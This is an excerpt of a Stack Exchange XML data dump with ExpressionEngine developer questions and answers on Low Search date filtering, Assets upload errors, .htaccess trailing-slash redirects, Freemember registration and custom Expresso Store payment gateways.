  <row Id="10728" PostTypeId="1" AcceptedAnswerId="10745" CreationDate="2013-05-25T15:57:16.507" Score="1" ViewCount="404" Body="&lt;p&gt;I have read a few different posts on how to filter search results using a custom date field, and on using a range of dates as well. However, I need to filter my results by the native entry_date. I have tried a multitude of things from using date ranges, trying to use exact parameters and more. This is my latest markup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Search Tag&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form collection=&quot;albums&quot; query=&quot;{freebie_3}&quot; result_page=&quot;/daily-photos/results/&quot; form_class=&quot;internalSearch photoSearch&quot; secure=&quot;no&quot;}&#xA;      &amp;lt;input type=&quot;text&quot; placeholder=&quot;MM/DD/YYYY&quot; class=&quot;searchDatepicker text search&quot;/&amp;gt;&#xA;      &amp;lt;input type=&quot;hidden&quot; id=&quot;actualDate&quot; name=&quot;search:entry_date&quot;&amp;gt;&#xA;      &amp;lt;button type=&quot;submit&quot; class=&quot;searchBtn&quot; aria-hidden=&quot;true&quot; data-icon=&quot;&amp;amp;#xe004;&quot;&amp;gt;&amp;lt;/button&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Results Tag&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results  query=&quot;{freebie_3}&quot; limit=&quot;15&quot; paginate=&quot;bottom&quot; paginate_base=&quot;/daily-photos/results/&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Datepicker Javascript&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.searchDatepicker').datepicker({&#xA;        altField: &quot;#actualDate&quot;,&#xA;        altFormat: &quot;yy-mm-dd 12:00 'PM'&quot;,&#xA;        dateFormat: &quot;mm/dd/yy&quot;, &#xA;        gotoCurrent: true,&#xA;        maxDate: &quot;+0d&quot;&#xA; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;You can see where I was trying to resolve a suspected timestamp issue by adding a default timestamp in the javascript. My thinking was to have a default timestamp as shown and then in the search, setting the range for the entry_date to be from yy-mm-dd 12:00 AM to yy-mm-dd 11:00 PM, but I haven't been able to achieve this, and I'm not sure if there's just something basic I am overlooking? I am using Low Search in several other places across the site, so I'd like to be consistent and use it for this scenario. My search results just return all entries with no filtering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running EE 2.5.5 and Low Search 2.2.1. Thanks for looking!&lt;/p&gt;&#xA;" OwnerUserId="1491" LastActivityDate="2013-05-27T07:46:47.393" Title="How can I use Low Search to filter entries by their entry_date, using a datepicker?" Tags="|low-search|entry-date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10729" PostTypeId="1" AcceptedAnswerId="11290" CreationDate="2013-05-25T16:51:16.317" Score="0" ViewCount="1025" Body="&lt;pre&gt;&lt;code&gt;EE 2.5.5, Assets 2.1.3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm having an issue in the CP uploading images. My EE install uses the Focus Lab config system if that makes a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to do an upload via the Assets Module view (file manager) I get an error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Could not upload the file - server returned an unexpected response. Please check the server settings.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When looking at the request (?folder=2&amp;amp;ACT=39...) I get this error in the Chrome Inspector preview:&#xA;    A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: 4096&#xA;&#xA;Message: Argument 1 passed to Assets_base_source::update_file_info() must be an instance of Assets_base_file, boolean given, called in /Volumes/Macintosh HD/Users/iso100/Sites/gde/third_party/assets/sources/base_source.php on line 642 and defined&#xA;&#xA;Filename: sources/base_source.php&#xA;&#xA;Line Number: 672&#xA;&#xA;Fatal error: Call to a member function kind() on a non-object in /Volumes/Macintosh HD/Users/iso100/Sites/gde/third_party/assets/sources/base_source.php on line 681&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2013-06-17T03:45:21.470" Title="Assets Uploads Failing" Tags="|assets|pixelandtonic|error|php-errors|uploads|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10730" PostTypeId="1" CreationDate="2013-05-25T17:43:19.470" Score="0" ViewCount="1219" Body="&lt;p&gt;im trying to correct some URL's that dont have the   /   at the end,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example, expressionengine created the url without the  /   however, im trying to redirect whereas all my URls are consisten with the   /  at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;problem is I already have ranking on the non  / urls and now showing up duplicate content with urls listing the   /  at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what kind or redirect 301 should I do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ive tried this with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;redirect 301 /products/item  &lt;a href=&quot;http://www./products/item/&quot;&gt;http://www./products/item/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it wont work in my .htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any sugestions&lt;/p&gt;&#xA;" OwnerUserId="1552" LastActivityDate="2013-05-26T19:19:05.687" Title="301 redirect url without / to end with /" Tags="|htaccess|redirects|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10731" PostTypeId="1" CreationDate="2013-05-25T17:50:14.277" Score="0" ViewCount="244" Body="&lt;p&gt;I have Wygwam and Assets. In a Matrix cell I upload and insert an image via Wygwam/Assets. After I publish, no image. Sometimes I get the alt tag text, sometimes nothing, as in no img tag. If I persist by opening the entry and re-publishing, maybe a couple of times, I get the image eventually. Obviously, I can't hand this over to a client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No problem with Assets when it's its own custom field or in Matrix as an Assets cell; just goofy in conjunction with Wygwam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All add-ons and EE are up-to-date as of May 25, 2013.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rick&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Further to:&lt;/strong&gt; I created a test channel with only a Wygwam custom field. I created a template that only renders this field. I created some entries, some with just an image in the Wygwam field, one with both text and an image in the Wygwam field. I used different images from different Assets folders each time. In all cases, the rendered img tag is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It renders:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img alt=&quot;wac&quot; src=&quot;http://wac.artsforall.ca/images/uploads/files/General/WAC-logo-thumbnail.jpgGeneral/WAC-logo-thumbnail.jpg}&quot; style=&quot;width: 144px; height: 131px;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See that extra &quot;General/WAC-logo-thumbnail.jpg}&quot;? It's wrong. It doesn't show in the field's source view. It's there on the rendered page when viewing source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Further further to:&lt;/strong&gt; If I go back to the entry and Submit again, then the resulting link is correct and the image displays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is not, of course, a solution!&lt;/p&gt;&#xA;" OwnerUserId="1553" LastEditorUserId="1553" LastEditDate="2013-05-26T16:38:47.577" LastActivityDate="2013-05-26T16:38:47.577" Title="Adding images in Wygwam is Flakey" Tags="|wygwam|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10732" PostTypeId="1" CreationDate="2013-05-25T22:14:12.440" Score="0" ViewCount="388" Body="&lt;p&gt;Wonder if anyone else bumped into this issue using Structure &amp;amp; Low Search. Enabling strict URL's results in a 404 on search which {segment_2} triggers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 404 rule looks for the template name which won't be there as Structure doesn't work like that, so how can I tell the search module what the template name is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low suggested using Freebie, but before I delve into yet another add-on to patch an add-on I was hoping to find a solution here:-) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low Search code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_2}&quot; status=&quot;not closed&quot; disable=&quot;categories|member_data&quot;}    &#xA;{if count == 1}    &#xA;&amp;lt;p class=&quot;&quot;&amp;gt;    &#xA;{if low_search_keywords}You searched for &amp;lt;strong&amp;gt;{low_search_keywords}&amp;lt;/strong&amp;gt;{/if}    &#xA;and we have found &amp;lt;strong&amp;gt;{absolute_results}&amp;lt;/strong&amp;gt; matches.    &#xA;&amp;lt;/p&amp;gt;    &#xA;{/if}{/exp:low_search:results}    &#xA;&amp;lt;/div&amp;gt;    &#xA;{exp:low_search:results query=&quot;{segment_2}&quot; status=&quot;not closed&quot; disable=&quot;categories|member_data&quot;}    &#xA;&amp;lt;div class=&quot;entry&quot;&amp;gt;    &#xA;{if page_url != ''}    &#xA;&amp;lt;a href=&quot; {page_url}&quot;&amp;gt; &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&amp;lt;/a&amp;gt;    &#xA;{if:else}    &#xA;&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt; &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&amp;lt;/a&amp;gt;    &#xA;{/if}    &#xA;&amp;lt;p&amp;gt;Found in &amp;lt;a href=&quot;{comment_url_title_auto_path}&quot; class=&quot;red&quot;&amp;gt; {low_search_collection_label}&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;    &#xA;&amp;lt;p&amp;gt;{low_search_excerpt}&amp;lt;/p&amp;gt;    &#xA;&amp;lt;/div&amp;gt;    &#xA;{paginate}    &#xA;&amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;    &#xA;{/paginate}    &#xA;{if no_results}    &#xA;&amp;lt;p&amp;gt;    &#xA;Sorry, your query did not return any results.    &#xA;Check your spelling or try a different search term.    &#xA;&amp;lt;/p&amp;gt;    &#xA;{/if}    &#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.5+ &amp;amp; all add-ons up-to-date&lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2013-05-26T19:37:01.943" Title="Enable Strict URLs triggers 404 on search results" Tags="|structure|low-search|404|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10733" PostTypeId="1" CreationDate="2013-05-25T22:26:15.677" Score="0" ViewCount="135" Body="&lt;p&gt;I'm trying to &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/developers/link_types.html&quot; rel=&quot;nofollow&quot;&gt;create a custom link type in Wygwam (using the wygwam_config extension hook)&lt;/a&gt;: I want the user to be able to specify a URL (like the normal URL link type), but I want to specify a CSS class that is predefined and not editable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Wygwam docs only describe to create links with predefined URLs (i.e. Wygwam auto-generates a dropdown menu of possible pages for each link type). Is there a way I can force a CSS class but leave the URL editable in the dialog box?&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-05-25T22:26:15.677" Title="Wygwam: Can I create custom link_type with editable URL?" Tags="|pixelandtonic|wygwam|wysiwyg|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10734" PostTypeId="2" ParentId="10278" CreationDate="2013-05-26T11:30:26.233" Score="1" Body="&lt;p&gt;I have now built my own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just modified an existing payment gateway that was not in use.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2013-05-26T11:30:26.233" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10735" PostTypeId="1" AcceptedAnswerId="10747" CreationDate="2013-05-26T11:34:22.873" Score="2" ViewCount="127" Body="&lt;p&gt;I have built my own custom payment gateway. But how do i get the shipping values in PHP processor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example you can get the billing address line 1 using this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$this-&gt;param('address1')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i get the shipping address1 ?&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2013-05-27T10:48:15.673" Title="Exp-resso Store - Getting Shipping Details - Custom Payment Gateway" Tags="|expresso-store|payment-gateway|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10736" PostTypeId="2" ParentId="10716" CreationDate="2013-05-26T11:40:19.793" Score="0" Body="&lt;p&gt;You can either use the custom order fields, or you can store the name with the product (make it a text modifier so people enter it when they add the item to their cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of using product modifiers is that the customer would be able to add multiple &quot;tickets&quot; to their cart, each under a different name. If you use custom order fields then there is only one set of fields per order.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-26T11:40:19.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10737" PostTypeId="1" AcceptedAnswerId="10746" CreationDate="2013-05-26T14:22:04.453" Score="1" ViewCount="283" Body="&lt;p&gt;I have built a custom gateway for sage pay form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin gathers all the data from Store and then posts it off to sagepay in an encrypted string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User than completes payment on the the sagepay website before being posted back to a specified success URL with an encrypted string attatched. When the string is decoded you can view the order status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i notify cart that the order has been paid for and to log it as complete? &lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditDate="2013-05-26T16:07:55.493" LastActivityDate="2013-05-27T10:44:46.653" Title="Completing Order - Expresso Store" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10738" PostTypeId="1" AcceptedAnswerId="10739" CreationDate="2013-05-26T16:15:36.620" Score="2" ViewCount="279" Body="&lt;p&gt;I just can't get the Freemember registration form to work.&#xA;I'm using the default form from the docs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:freemember:register return=&quot;login&quot; error_handling=&quot;inline&quot; error_delimiters='&amp;lt;span class=&quot;error&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {field:email}&amp;lt;br /&amp;gt;&#xA;        {error:email}&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {field:password}&amp;lt;br /&amp;gt;&#xA;        {error:password}&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Confirm Password&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {field:password_confirm}&amp;lt;br /&amp;gt;&#xA;        {error:password_confirm}&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        {field:accept_terms} &amp;lt;label for=&quot;accept_terms&quot;&amp;gt;Accept Terms&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {error:accept_terms}&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:freemember:register}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form sends but nothing happens. I'm not sure what to even do to get this to set up and work properly. Do I need certain settings I'm missing in member preferences? When I use the default EE member/registration form it works just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.6.1&#xA;Freemember 2.2.2&lt;/p&gt;&#xA;" OwnerUserId="1488" LastEditorUserId="1488" LastEditDate="2013-05-26T16:46:28.120" LastActivityDate="2013-05-26T17:37:58.377" Title="Why don't new registrations show up in members" Tags="|freemember|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10739" PostTypeId="2" ParentId="10738" CreationDate="2013-05-26T17:37:58.377" Score="5" Body="&lt;p&gt;There is most likely an error being thrown but not being displayed. A few things to check...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double check that it's installed correctly and listed in Addons &gt; Modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then ensure that you have &lt;a href=&quot;https://github.com/expressodev/freemember#installation&quot;&gt;set your encryption key&lt;/a&gt; in &lt;code&gt;system/expressionengine/config/config.php&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next thing to try would be to remove &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt; so you can see any errors that are returned on form submission. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're also including &lt;code&gt;accept_terms&lt;/code&gt; in your registration form. In Members &gt; Member Preferences, look for &quot;Require Terms of Service&quot;. It could be worth setting this to 'No' to test with. You could even try removing that from your form if you set this 'No'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any of that help to shed any light on things? Are there any errors returned?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-26T17:37:58.377" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="10740" PostTypeId="2" ParentId="10735" CreationDate="2013-05-26T18:51:27.653" Score="0" Body="&lt;p&gt;You'll see an example of this in merchant_sagepay_base.php of the merchant lib. On or around line 80 you'll see the request for billing details:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$request['BillingFirstnames'] = $this-&amp;gt;param('first_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and below a foreach loop for shipping where this is mapped up but &lt;em&gt;Billing&lt;/em&gt; is replaced by &lt;em&gt;Delivery&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// shipping details&#xA;foreach (array('Firstnames', 'Surname', 'Address1', 'Address2', 'City', 'PostCode',&#xA;    'State', 'Country', 'Phone') as $field)&#xA;{&#xA;    $request[&quot;Delivery$field&quot;] = $request[&quot;Billing$field&quot;];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just be sure that in that function you're returning the request:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $request;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-26T18:51:27.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10741" PostTypeId="2" ParentId="10737" CreationDate="2013-05-26T18:57:52.073" Score="1" Body="&lt;p&gt;I think you should just need to make sure your custom driver extends &lt;code&gt;Merchant_driver&lt;/code&gt; (or in the case of SagePay, possibly just extend &lt;code&gt;Merchant_sagepay_base&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I think you just need to make sure you're returning the request at the end of the method for the Merchant Lib and Store to deal with.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $request;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-26T18:57:52.073" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10742" PostTypeId="2" ParentId="10730" CreationDate="2013-05-26T19:19:05.687" Score="1" Body="&lt;p&gt;A 301 (permanent redirect) is the best option and if you want to do it across the board on your site then try this in your .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteCond %{REQUEST_FILENAME} !-f&#xA;  RewriteCond %{REQUEST_URI} !(\.[a-zA-Z0-9]{1,5}|/|#(.*))$&#xA;  RewriteRule ^(.*)$ /$1/ [R=301,L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will append the forward slash onto directories but not filenames and set it as a 301.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;code&gt;rel=&quot;canonical&quot;&lt;/code&gt; on existing links which works similarly to a 301 in terms of search engine indexing.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-26T19:19:05.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10743" PostTypeId="2" ParentId="10732" CreationDate="2013-05-26T19:37:01.943" Score="2" Body="&lt;p&gt;Unfortunately there wont really be an easier way than with &lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;Freebie&lt;/a&gt;. It's designed for this very purpose when you need EE to ignore certain URL segments and comes in very handy when dealing with Structure because of the way it deviates from EE's native URL handling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of both strict URL handling and Structure you definitely need to break those URL segments.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-26T19:37:01.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10744" PostTypeId="1" CreationDate="2013-05-27T00:34:09.680" Score="0" ViewCount="153" Body="&lt;p&gt;I'm converting an EE 1.x site to the latest 2.x version and have run into a problem where FF Checkbox Groups were used which stored their data as a serialized array whereas both the native and P&amp;amp;T checkbox fieldtypes aren't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are my options for upgrading/changing the data?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-05-28T05:23:53.543" Title="Converting FF Checkbox Group to native or P&amp;T checkboxes" Tags="|ee2-upgrades|pt-checkboxes|checkbox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10745" PostTypeId="2" ParentId="10728" CreationDate="2013-05-27T07:46:47.393" Score="0" Body="&lt;p&gt;You'll need to target the native &lt;code&gt;start_on&lt;/code&gt; and &lt;code&gt;stop_before&lt;/code&gt; parameters to filter entries by Entry Date; &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#start-on&quot; rel=&quot;nofollow&quot;&gt;check the EE docs here&lt;/a&gt;. So, instead of using &lt;code&gt;search:entry_date&lt;/code&gt;, use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; id=&quot;actualDate&quot; name=&quot;start_on&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will give you all entries with an entry date equal to or greater than the given date. If you want to limit the results to a certain day, you'll also need to define a &lt;code&gt;stop_before&lt;/code&gt; field.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-05-27T07:46:47.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10746" PostTypeId="2" ParentId="10737" CreationDate="2013-05-27T10:44:46.653" Score="1" Body="&lt;p&gt;You should take a look at other gateways which handle this situation, for example Paypal Express:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/expressodev/ci-merchant/blob/master/libraries/merchant/merchant_paypal_express.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/expressodev/ci-merchant/blob/master/libraries/merchant/merchant_paypal_express.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you build the purchase request, you need to tell the gateway to return the customer to &lt;code&gt;$this-&amp;gt;param('return_url')&lt;/code&gt;. For example, in Paypal this involves:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$request['RETURNURL'] = $this-&amp;gt;param('return_url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This URL will look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://example.com/index.php?ACT=123&amp;amp;H=abcdef123456&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a special EE action URL, which is passed through to Store. Store looks up the payment hash to see which gateway requested the payment, then automatically loads that gateway, and calls &lt;code&gt;purchase_return()&lt;/code&gt;. So you need to implement that method on your gateway class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function purchase_return()&#xA;{&#xA;    // do something here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside the &lt;code&gt;purchase_return()&lt;/code&gt; method you should check &lt;code&gt;$_GET&lt;/code&gt; or &lt;code&gt;$_POST&lt;/code&gt; for the encrypted string that the gateway sent back to you. Here is another good example of decoding a response and returning the appropriate reply:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/expressodev/ci-merchant/blob/master/libraries/merchant/merchant_dps_pxpay.php#L62&quot; rel=&quot;nofollow&quot;&gt;https://github.com/expressodev/ci-merchant/blob/master/libraries/merchant/merchant_dps_pxpay.php#L62&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, if the transaction is successful you should return something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return new Merchant_response(Merchant_response::COMPLETE, $response_message_from_gateway, $transaction_id_from_gateway);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the response failed, return something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return new Merchant_response(Merchant_response::FAILED, $response_message_from_gateway, $transaction_id_if_there_was_one);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then Store will know to update the order accordingly, and will either mark the order as complete and redirect the customer to the success page, or send them back to the checkout to try again.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-27T10:44:46.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10747" PostTypeId="2" ParentId="10735" CreationDate="2013-05-27T10:48:15.673" Score="2" Body="&lt;p&gt;Store doesn't actually pass the real shipping address through to the gateway (normally payment gateways don't need to know about the delivery address). If it's required, you could just copy the billing address there. Otherwise, you will need to edit &lt;code&gt;store_payments.php&lt;/code&gt; to pass through the shipping details so that you can use them. As you can see in the existing Sage Pay gateways it just uses the billing address.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-27T10:48:15.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10748" PostTypeId="1" CreationDate="2013-05-27T12:38:43.643" Score="1" ViewCount="151" Body="&lt;p&gt;I am using Carthrob with the price modifiers fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the add to cart form everything works as it should. However, when I add an item to the cart, I can't get the price to display, and the cart total is all out of wack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done a variety of tests but can't figure out the issue. Can anyone take a look at the following code and see if I am missing something really obvious? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following code for my add to cart form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form return=&quot;enter/checkout&quot;}&#xA;&#xA;    {exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot; }&#xA;        {select id=&quot;purchase-submissions-select&quot; class=&quot;standard required&quot;}&#xA;            &amp;lt;option {selected} value=&quot;{option_value}&quot;&amp;gt;{option_name} {price}&amp;lt;/option&amp;gt;&#xA;        {/select}&#xA;    {/exp:cartthrob:item_options}&#xA;&#xA;    &amp;lt;input id=&quot;purchase-submissions-submit&quot; type=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;&#xA;{/exp:cartthrob:add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this as a test in my cart:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:update_cart_form return=&quot;/index.php/basket/&quot;}&#xA;    {exp:cartthrob:cart_items_info}&#xA;&#xA;        {item_option:fees} - {price} - {quantity}&amp;lt;br /&amp;gt;&#xA;&#xA;        {if last_row}&#xA;            {cart_total}&#xA;        {/if}&#xA;&#xA;    {/exp:cartthrob:cart_items_info}&#xA;{/exp:cartthrob:update_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;P.S I have seen the other thread with a similar problem, and have checked and its not the same issue (i.e no dollar symbols in with the price).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-05-28T17:41:12.607" Title="Carthrob price modifier wont show price in cart" Tags="|cartthrob|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
